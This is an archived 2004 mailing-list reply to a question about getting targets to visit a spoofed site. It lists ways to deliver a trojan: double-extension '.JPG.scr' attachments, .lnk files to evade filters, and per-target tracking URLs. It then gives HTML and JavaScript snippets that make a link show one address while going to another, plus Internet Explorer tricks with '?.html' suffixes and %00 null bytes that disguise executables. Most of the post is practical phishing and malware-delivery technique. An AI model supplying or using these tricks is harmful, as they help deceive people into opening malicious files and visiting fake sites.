From: Martin Mačok (martin.macok@underground.cz)
Date: Sat Jan 10 2004 - 02:59:16 EST
On Fri, Jan 09, 2004 at 06:32:48AM -0800, Random Task wrote:
> As a last note, we'd need to get people to go there. Making it look
> legit would be good. (i.e. use the %00 IE exploit to make the URL
> look like it's internal and make the site look like their own) Any
> techniques or message styles you've used and had success with?
- send the trojan code in an email attachment with a good old
something.JPG.scr trick (if you can go to them, they don't have to
go to you)
- some content filters disallow .scr, so try .lnk also
- send a link to the trojan file, in typical MS Outlook environment,
they just have to click on it and select "Open"
- use unique URL/file for each target (so you can track downloads
and email forwards)
URL obfuscation/hiding:
<script language="JavaScript">
<!--
function changehref()
{
document.all("obj").href = "http://www.fakesite.com" ;
return 1 ;
}
//-->
</script>
[snip]
<a href="http://www.realsite.com/" id="obj"
onclick="changehref();">www.fakesite.com</a>
Similar trick:
<a href="http://www.realsite.com"
onmouseover="window.status=('http://www.fakesite.com/'); return
true;">www.fakesite.com</a>
Some more recent SCAM trick:
<a
href="http://www.fakesite.com:something_ugly_long@www.realsite.com/">
www.fakesite.com</a>
Other MS IE trick (browser believes it's a HTML instead of EXE):
http://server/file.exe?.html
As you mention, MS IE's (and possibly some other browser's) %00 trick:
README.TXT%00PROG.EXE in Content-disposition:
(there are many different tricks with %00)
See also:
http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/IE/index.html
http://www.solutions.fi/iebug2
--
Martin Mačok http://underground.cz/
martin.macok@underground.cz http://Xtrmntr.org/ORBman/
---------------------------------------------------------------------------
----------------------------------------------------------------------------
This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:45 EDT